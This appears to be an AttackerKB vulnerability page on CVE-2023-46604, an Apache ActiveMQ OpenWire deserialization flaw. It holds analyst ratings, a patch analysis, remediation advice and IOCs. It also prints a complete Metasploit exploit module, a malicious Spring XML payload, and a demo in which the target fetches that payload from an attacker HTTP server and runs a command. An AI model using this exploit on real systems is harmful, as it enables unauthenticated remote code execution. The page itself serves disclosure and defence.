High
CVE-2023-46604
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2023-46604
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
The Java OpenWire protocol marshaller is vulnerable to Remote Code
Execution. This vulnerability may allow a remote attacker with network
access to either a Java-based OpenWire broker or client to run arbitrary
shell commands by manipulating serialized class types in the OpenWire
protocol to cause either the client or the broker (respectively) to
instantiate any class on the classpath.
Users are recommended to upgrade
both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3
which fixes this issue.
Add Assessment
Technical Analysis
Based on vendor assessment the vulnerability (deserialization of untrusted data) is present in Active MQ Artemis too, but the Spring class used in the public exploit is not available in this flavor of the software (only works against ActiveMQ Classic). Exploitability of Artemis needs further research.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
Based upon analyzing the public exploit and the root cause of the vulnerability, I have rated the exploitability as very high as this vuln is unauthenticated and is trivial to exploit with the public exploit. The attacker value is high as this service is used in enterprise environments, Shadowserver reports over 3000 vulnerable instances online as of Oct 30, 2023
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
CISA KEV Listed as of 11/02/2023
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
More about:
Understanding deserialization
Learn
Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::Tcp include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16. }, 'License' => MSF_LICENSE, 'Author' => [ 'X1r0z', # Original technical analysis & exploit 'sfewer-r7', # MSF exploit & Rapid7 analysis 'nu11secur1ty', # automated EXPLOIT-developer for MetaSploit m0r3: https://github.com/nu11secur1ty/metasploit-framework-nu11secur1ty/tree/main/automation ], 'References' => [ ['CVE', '2023-46604'], ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'], ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'], ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'], ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt'] ], 'DisclosureDate' => '2023-10-27', 'Privileged' => false, 'Platform' => %w[win linux unix], 'Arch' => [ARCH_CMD], # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive. 'Stance' => Stance::Aggressive, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ], [ 'Unix', { 'Platform' => 'unix' } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { # By default ActiveMQ listens for OpenWire requests on TCP port 61616. 'RPORT' => 61616, # The maximum time in seconds to wait for a session. 'WfsDelay' => 30 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check connect res = sock.get_once disconnect return CheckCode::Unknown unless res len, _, magic = res.unpack('NCZ*') return CheckCode::Unknown unless res.length == len + 4 return CheckCode::Unknown unless magic == 'ActiveMQ' return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/ version = Rex::Version.new(::Regexp.last_match(1)) ranges = [ ['5.18.0', '5.18.2'], ['5.17.0', '5.17.5'], ['5.16.0', '5.16.6'], ['0.0.0', '5.15.15'] ] ranges.each do |min, max| if version.between?(Rex::Version.new(min), Rex::Version.new(max)) return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}") end end Exploit::CheckCode::Safe("Apache ActiveMQ #{version}") end def exploit # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag. if payload.encoded.include? ']]>' fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>') end start_service connect # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to # run an attacker supplied command line via java.lang.ProcessBuilder.start. clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext' # 31 is the EXCEPTION_RESPONSE data type. data = [31].pack('C') # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id. data << [0].pack('N') # and a 1 byte boolean for response required. data << [0].pack('C') # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID. data << [0].pack('N') # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall. data << [1].pack('C') # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string. data << [1].pack('C') # First 2 bytes are the length. data << [clazz.length].pack('n') # Then the string data. This is the class name to instantiate. data << clazz # Same again for the method string. This is the single string parameter used during class instantiation. data << [1].pack('C') data << [get_uri.length].pack('n') data << get_uri sock.puts([data.length].pack('N') + data) retry_until_truthy(timeout: datastore['WfsDelay']) do !handler_enabled? || session_created? end handler ensure cleanup end def on_request_uri(cli, request) if request.uri != get_resource super end case target['Platform'] when 'win' shell = 'cmd.exe' flag = '/c' when 'linux', 'unix' shell = '/bin/sh' flag = '-c' end xml = %(<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>#{shell}</value> <value>#{flag}</value> <value><![CDATA[#{payload.encoded}]]></value> </list> </constructor-arg> </bean> </beans>) send_response(cli, xml, { 'Content-Type' => 'application/xml', 'Connection' => 'close', 'Pragma' => 'no-cache' }) print_status('Sent ClassPathXmlApplicationContext configuration file.') end end
Details:
Full unlocked video:
Exploit demo, automated by @nu11secur1ty
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- apache,
- debian,
- netapp
Products
- activemq,
- activemq legacy openwire module,
- debian linux 10.0,
- e-series santricity unified manager -,
- e-series santricity web services proxy -,
- santricity storage plugin -
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/11/02/cisa-adds-one-known-exploited-vulnerability-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Update Nov 2, 2023: Added reference to Rapid7 ETR blog in the timeline.
Overview
Apache ActiveMQ is a message broker service, designed to act as a communication bridge between disparate services. Developed in Java, it can broker multiple protocol formats, such as AMQP, STOMP, MQTT and OpenWire. CVE-2023-46604 is a remote unauthenticated deserialization vulnerability in the OpenWire transport connector provided by ActiveMQ. By default the OpenWire transport connector listens for TCP connections on port 61616 and is enabled by default. Successful exploitation allows an attacker to execute arbitrary code with the same privileges of the ActiveMQ server.
The timeline of events for CVE-2023-46604 are as follows.
October 24, 2023 – The Apache ActiveMQ team opens Jira issue AMQ-9370 to track the development of a patch for CVE-2023-46604.
October 24, 2023 – A patch is committed to resolve the issue.
October 25, 2023 – A detailed technical analysis is posted by researcher X1r0z.
October 27, 2023 – CVE-2023-46604 is published.
October 27, 2023 – A proof of concept exploit is published by researcher X1r0z.
October 27, 2023 – Rapid7 observed suspected exploitation of CVE-2023-46604 in the wild.
The Shadowserver project has identified 7,249 instances (as of October 30, 2023) of ActiveMQ OpenWire port 61616 listening on the internet, with 3,329 of these vulnerable to CVE-2023-46604.
The Vulnerability
Our analysis is based upon the research by X1r0z, and we targeted a vulnerable version of Active MQ 5.15.3 running on Windows.
By examining the patch we can see a new check OpenWireUtil.validateIsThrowable
has been added. This check ensures when creating a new Throwable
object instance, the class being instantiated is indeed derived from the Throwable
class.
// activemq-client/src/main/java/org/apache/activemq/openwire/OpenWireUtil.java package org.apache.activemq.openwire; public class OpenWireUtil { /** * Verify that the provided class extends {@link Throwable} and throw an * {@link IllegalArgumentException} if it does not. * * @param clazz */ public static void validateIsThrowable(Class<?> clazz) { if (!Throwable.class.isAssignableFrom(clazz)) { // <--- throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable"); } } }
We can see how the new check validateIsThrowable
is used during BaseDataStreamMarshaller.createThrowable
, to ensure a provided className
string is for a class that is throwable, before an instance of this class is instantiated with a single string parameter called message
.
// activemq-client/src/main/java/org/apache/activemq/openwire/v12/BaseDataStreamMarshaller.java private Throwable createThrowable(String className, String message) { try { Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader()); OpenWireUtil.validateIsThrowable(clazz); // <--- Constructor constructor = clazz.getConstructor(new Class[] {String.class}); return (Throwable)constructor.newInstance(new Object[] {message}); } catch (IllegalArgumentException e) { return e; } catch (Throwable e) { return new Throwable(className + ": " + message); } }
To understand why, prior to the patch, a call to createThrowable
leads to a vulnerability, we can see in BaseDataStreamMarshaller.looseUnmarsalThrowable
how two string values are unmarshalled into the clazz
and message
parameters that are passed to createThrowable
. If an attacker can control these two values, an arbitrary class can be instantiated with an attacker controlled string parameter.
// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\BaseDataStreamMarshaller.class public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller { protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn) throws IOException { if (!dataIn.readBoolean()) { return null; } else { String clazz = this.looseUnmarshalString(dataIn); String message = this.looseUnmarshalString(dataIn); Throwable o = this.createThrowable(clazz, message); // <---
The method BaseDataStreamMarshaller.looseUnmarsalThrowable
is called from ExceptionResponseMarshaller.looseUnmarshal
which is responsible for unmarshalling an ExceptionResponse
instance.
// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\openwire\v12\ExceptionResponseMarshaller.class public class ExceptionResponseMarshaller extends ResponseMarshaller { public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException { super.looseUnmarshal(wireFormat, o, dataIn); ExceptionResponse info = (ExceptionResponse)o; info.setException(this.looseUnmarsalThrowable(wireFormat, dataIn)); // <--- }
We can see that looseUnmarshal
is called during OpenWireFormat.doUnmarshal
. A byte value is read from the incoming data stream, and this byte value determines the DataStreamMarshaller
to use during unmarshalling.
public final class OpenWireFormat implements WireFormat { public Object doUnmarshal(DataInput dis) throws IOException { byte dataType = dis.readByte(); if (dataType != 0) { DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255]; // <--- if (dsm == null) { throw new IOException("Unknown data type: " + dataType); } else { Object data = dsm.createObject(); if (this.tightEncodingEnabled) { BooleanStream bs = new BooleanStream(); bs.unmarshal(dis); dsm.tightUnmarshal(this, data, dis, bs); } else { dsm.looseUnmarshal(this, data, dis); // <--- } return data; } } else { return null; } }
We can note above there are two paths to unmarshalling, depending on tightEncodingEnabled
. The encodings are referred to as either “tight” or “loose”. These are part of the OpenWire specification, and they dictate how encoding is performed. By default, “loose” encoding is used.
By inspecting the class ExceptionResponse
we can see that a value of 31
corresponds to the data type for an ExceptionResponse
which will be unmarshalled via ExceptionResponseMarshaller
.
// \lib\activemq-client-5.15.3.jar!\org\apache\activemq\command\ExceptionResponse.class package org.apache.activemq.command; public class ExceptionResponse extends Response { public static final byte DATA_STRUCTURE_TYPE = 31; // <--- Throwable exception; public ExceptionResponse() { } public ExceptionResponse(Throwable e) { this.setException(e); } public byte getDataStructureType() { return 31; } public Throwable getException() { return this.exception; } public void setException(Throwable exception) { this.exception = exception; } public boolean isException() { return true; } }
Therefore, an attacker who can connect to the OpenWire port 61616 can send an OpenWire packet with a data type of 31
(EXCEPTION_RESPONSE), to unmarshall an ExceptionResponse
object instance. The attacker can supply both an arbitrary class name and an arbitrary string parameter to the BaseDataStreamMarshaller.createThrowable
method during unmarshalling. This allows an arbitrary class to be instantiated with a single attacker controlled string parameter, as shown in the screenshot below.
Exploitation
To leverage the vulnerability and achieve remote code execution, an attacker can instantiate the class
org.springframework.context.support.ClassPathXmlApplicationContext
. ClassPathXmlApplicationContext
is part of the Spring framework and is available within ActiveMQ. This class allows configuration of a Spring application via an XML file. The location of this XML configuration file is provided as a single string parameter when creating a new instance of ClassPathXmlApplicationContext
.
// \lib\optional\spring-context-4.3.9.RELEASE.jar!\org\springframework\context\support\ClassPathXmlApplicationContext.class public class ClassPathXmlApplicationContext extends AbstractXmlApplicationContext { public ClassPathXmlApplicationContext(String configLocation) throws BeansException { // <--- this(new String[]{configLocation}, true, (ApplicationContext)null); }
The location of an XML configuration file can be a remote URL served over HTTP, and the contents allow for arbitrary classes to be created, and arbitrary methods to be called with arbitrary parameters. For example, the following configuration file, when loaded by ClassPathXmlApplicationContext
, will spawn an arbitrary process via java.lang.ProcessBuilder.start
.
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>notepad.exe</value> </list> </constructor-arg> </bean> </beans>
By serving a malicious XML configuration file over HTTP, we can run the public exploit against a target as follows, and achieve unauthenticated RCE.
ActiveMQ-RCE-main>ruby -run -e httpd . -p 5555 [2023-11-01 11:38:49] INFO WEBrick 1.7.0 [2023-11-01 11:38:49] INFO ruby 3.1.3 (2022-11-24) [x64-mingw-ucrt] [2023-11-01 11:38:49] INFO WEBrick::HTTPServer#start: pid=2600 port=5555 [2023-11-01 11:38:49] INFO To access this server, open this URL in a browser: [2023-11-01 11:38:49] INFO http://[::1]:5555 [2023-11-01 11:38:49] INFO http://127.0.0.1:5555 192.168.86.50 - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458 - -> /poc.xml 192.168.86.50 - - [01/Nov/2023:11:40:23 GMT Standard Time] "GET /poc.xml HTTP/1.1" 200 458 - -> /poc.xml
ActiveMQ-RCE-main>ActiveMQ-RCE.exe -i 192.168.86.50 -u http://192.168.86.35:5555/poc.xml _ _ _ __ __ ___ ____ ____ _____ / \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____| / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _| / ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___ /_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____| [*] Target: 192.168.86.50:61616 [*] XML URL: http://192.168.86.35:5555/poc.xml [*] Sending packet: 000000741f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010021687474703a2f2f3139322e3136382e38362e33353a353535352f706f632e786d6c
Finally, we can see the arbitrary command we specified in the configuration XML file has been executed on the target system.
Remediation
As per the vendor advisory, users of Apache ActiveMQ are advised to update to the latest version to successfully remediate this issue. The updated versions are:
- 5.18.3
- 5.17.6
- 5.16.7
- 5.15.16
IOCs
By default ActiveMQ does not log every request that is received, however some log information may be present in the log file <ACTIVEMQ_ROOT_FOLDER>\data\activemq.log
. We observed that the public PoC left a single log entry in this file after successful exploitation:
2023-11-01 04:40:23,587 | WARN | Transport Connection to: tcp://192.168.86.35:22658 failed: java.net.SocketException: An established connection was aborted by the software in your host machine | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.86.35:22658@61616
Of note is the attacker’s IP address is logged (192.168.86.35 in the example above) along with the target TCP port which is listening for OpenWire connections (61616 in the example above, which is the default OpenWire port number in ActiveMQ).
References
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Good context, thank you!